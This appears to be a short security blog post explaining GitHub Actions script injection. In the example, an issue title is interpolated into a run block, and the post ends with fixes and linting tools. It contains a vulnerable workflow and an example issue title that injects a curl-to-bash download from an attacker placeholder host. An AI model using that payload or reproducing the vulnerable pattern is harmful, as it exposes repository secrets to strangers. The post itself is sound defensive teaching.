Dev.to Security 🔐 Cybersecurity 👁 0 📖 1 min read

Your Issue Triage Workflow Pasted the Title Into a Shell Script and Someone Wrote One

A small workflow for a busy repository. Every new issue gets logged and labelled. on: issues: types: [opened] steps: run: | echo "New issue: ${{ github.event.issue.title }}" ./scripts/label.sh env: GH_TO

A small workflow
for a busy repository.

Every new issue
gets logged
and labelled.

on:
issues:
types: [opened]

steps:

  • run: | echo "New issue: ${{ github.event.issue.title }}" ./scripts/label.sh env: GH_TOKEN: ${{ secrets.TRIAGE_TOKEN }}

It looks like a variable.

It is not one.

The ${{ }} expression
is filled in by GitHub
before the shell starts.

The title becomes
part of the script text.

Then bash runs that text.

Anyone with a GitHub account
can open an issue.

So someone opens one
with this title:

bug"; curl -s https://attacker.example/x | bash; echo "

The line bash sees
closes your quote,
runs their download,
and opens a new quote
so the rest still parses.

The job is green.

The issue gets its label.

And their script ran
with your token
in its environment.

It can read that token,
send it anywhere,
and use it
until someone notices.

No review.

No approval.

Just an issue.

The issues trigger
runs in your repository,
with your secrets.

That is the point of it.

It is also the problem.

The same thing works
through pull request titles,
branch names,
commit messages
and comment bodies.

In December 2024
a crafted branch name
did this
to the Ultralytics release workflow,
and a crypto miner
was published to PyPI.

Here is the fix.

Never put untrusted text
inside ${{ }}
in a run block.

Pass it in
as an environment variable:

  • run: echo "New issue: $TITLE" env: TITLE: ${{ github.event.issue.title }}

Now the title
is data
the shell reads,
not code
the shell runs.

Keep the quotes.

Give the job
only the permissions it needs.

permissions:
issues: write

Run actionlint or zizmor
on every workflow change.

Both flag
untrusted expressions in scripts.

Then search your repositories
for github.event
inside run.

Every hit
is a place
where a stranger
writes part of your script.

– Serguey Asael Shinder

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.